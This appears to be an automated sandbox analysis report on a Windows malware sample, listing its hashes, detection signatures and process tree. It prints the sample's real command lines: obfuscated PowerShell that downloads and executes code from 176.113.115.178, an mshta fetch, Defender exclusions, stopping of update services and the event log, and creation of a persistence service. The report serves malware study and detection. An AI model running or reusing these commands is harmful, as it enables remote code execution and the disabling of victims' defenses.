Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1577458
MD5:	16b50170fda201194a611ca41219be7d
SHA1:	2ddda36084918cf436271451b49519a2843f403f
SHA256:	a542a2170abf4de0cd79baeb2e8f08deaf6fdeea40e9fc1ec15cbeb988e7900a
Tags:	bulletproofexeuser-abus3reports
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Stop EventLog

Yara detected Powershell download and execute

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Downloads files with wrong headers with respect to MIME Content-Type

Found direct / indirect Syscall (likely to bypass EDR)

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

PE file contains section with special chars

Potential malicious VBS script found (suspicious strings)

Powershell drops PE file

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to evade debugger and weak emulator (self modifying code)

Uses powercfg.exe to modify the power settings

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for the Microsoft Outlook file path

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

file.exe (PID: 6492 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 16B50170FDA201194A611CA41219BE7D)

wscript.exe (PID: 4508 cmdline: "wscript" C:\Users\user\AppData\Local\Temp\tempScript.js MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 404 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 7352 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7400 cmdline: "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mshta.exe (PID: 7444 cmdline: mshta http://176.113.115.178/Windows-Update MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 7616 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7784 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\ MD5: 04029E121A0CFA5991749937DD22A1D9)

WmiPrvSE.exe (PID: 7928 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

LB31.exe (PID: 3352 cmdline: "C:\Users\user\AppData\Roaming\LB31.exe" MD5: C9E6AA21979D5FC710F1F2E8226D9DFE)

powershell.exe (PID: 8084 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2184 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 6088 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 6104 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 4068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6564 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 4592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5544 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 880 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 4200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1812 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 504 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 8184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 2672 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6516 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 2760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6068 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 6820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 2748 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

winlogon.exe (PID: 560 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

lsass.exe (PID: 652 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 928 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 996 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

svchost.exe (PID: 436 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

sc.exe (PID: 6816 cmdline: C:\Windows\system32\sc.exe delete "LIB" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7872 cmdline: C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6644 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6780 cmdline: C:\Windows\system32\sc.exe start "LIB" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 2432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 936 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 7608 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

Mig.exe (PID: 4140 cmdline: C:\ProgramData\Mig\Mig.exe MD5: C9E6AA21979D5FC710F1F2E8226D9DFE)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: powershell.exe PID: 404	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 936	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7616	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Other

Source	Rule	Description	Author
amsi64_404.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_936.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_7616.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\LB31.exe" , ParentImage: C:\Users\user\AppData\Roaming\LB31.exe, ParentProcessId: 3352, ParentProcessName: LB31.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 504, ProcessName: powercfg.exe

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 404, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs" , ProcessId: 7352, ProcessName: wscript.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7616, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\, ProcessId: 7784, ProcessName: powershell.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "wscript" C:\Users\user\AppData\Local\Temp\tempScript.js, CommandLine: "wscript" C:\Users\user\AppData\Local\Temp\tempScript.js, CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6492, ParentProcessName: file.exe, ProcessCommandLine: "wscript" C:\Users\user\AppData\Local\Temp\tempScript.js, ProcessId: 4508, ProcessName: wscript.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X , CommandLine|base64offset|contains: ", Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta http://176.113.115.178/Windows-Update, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 7444, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X , ProcessId: 7616, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "wscript" C:\Users\user\AppData\Local\Temp\tempScript.js, CommandLine: "wscript" C:\Users\user\AppData\Local\Temp\tempScript.js, CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6492, ParentProcessName: file.exe, ProcessCommandLine: "wscript" C:\Users\user\AppData\Local\Temp\tempScript.js, ProcessId: 4508, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "wscript" C:\Users\user\AppData\Local\Temp\tempScript.js, CommandLine: "wscript" C:\Users\user\AppData\Local\Temp\tempScript.js, CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6492, ParentProcessName: file.exe, ProcessCommandLine: "wscript" C:\Users\user\AppData\Local\Temp\tempScript.js, ProcessId: 4508, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update, CommandLine: "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs" , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7352, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update, ProcessId: 7400, ProcessName: cmd.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 404, TargetFilename: C:\Users\user\AppData\Roaming\CMD.vbs

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\system32\dialer.exe, ParentImage: C:\Windows\System32\dialer.exe, ParentProcessId: 2748, ParentProcessName: dialer.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 928, ProcessName: svchost.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "wscript" C:\Users\user\AppData\Local\Temp\tempScript.js, CommandLine: "wscript" C:\Users\user\AppData\Local\Temp\tempScript.js, CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6492, ParentProcessName: file.exe, ProcessCommandLine: "wscript" C:\Users\user\AppData\Local\Temp\tempScript.js, ProcessId: 4508, ProcessName: wscript.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\LB31.exe" , ParentImage: C:\Users\user\AppData\Roaming\LB31.exe, ParentProcessId: 3352, ParentProcessName: LB31.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto", ProcessId: 7872, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X , CommandLine|base64offset|contains: ", Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "wscript" C:\Users\user\AppData\Local\Temp\tempScript.js, ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4508, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X , ProcessId: 404, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7608, ProcessName: svchost.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\LB31.exe" , ParentImage: C:\Users\user\AppData\Roaming\LB31.exe, ParentProcessId: 3352, ParentProcessName: LB31.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 6644, ProcessName: sc.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T13:49:11.657939+0100	2803305	3	Unknown Traffic	192.168.2.6	49715	176.113.115.178	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://176.113.115.178/FF/1.png	Avira URL Cloud: Label: malware
Source: http://176.113.115.178/FF/3.png	Avira URL Cloud: Label: malware
Source: http://176.113.115.178/FF/M.png	Avira URL Cloud: Label: malware
Source: http://176.113.115.178/FF/2.png	Avira URL Cloud: Label: malware
Source: http://176.113.115.178/FF/CMD.png	Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Mig\Mig.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Roaming\LB31.exe	ReversingLabs: Detection: 63%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\LB31.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Mig\Mig.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: 56ad364e35\System.Management.Automation.pdb\D source: powershell.exe, 00000007.00000002.2296695462.000001CF7B041000.00000004.00000020.00020000.00000000.sdmp
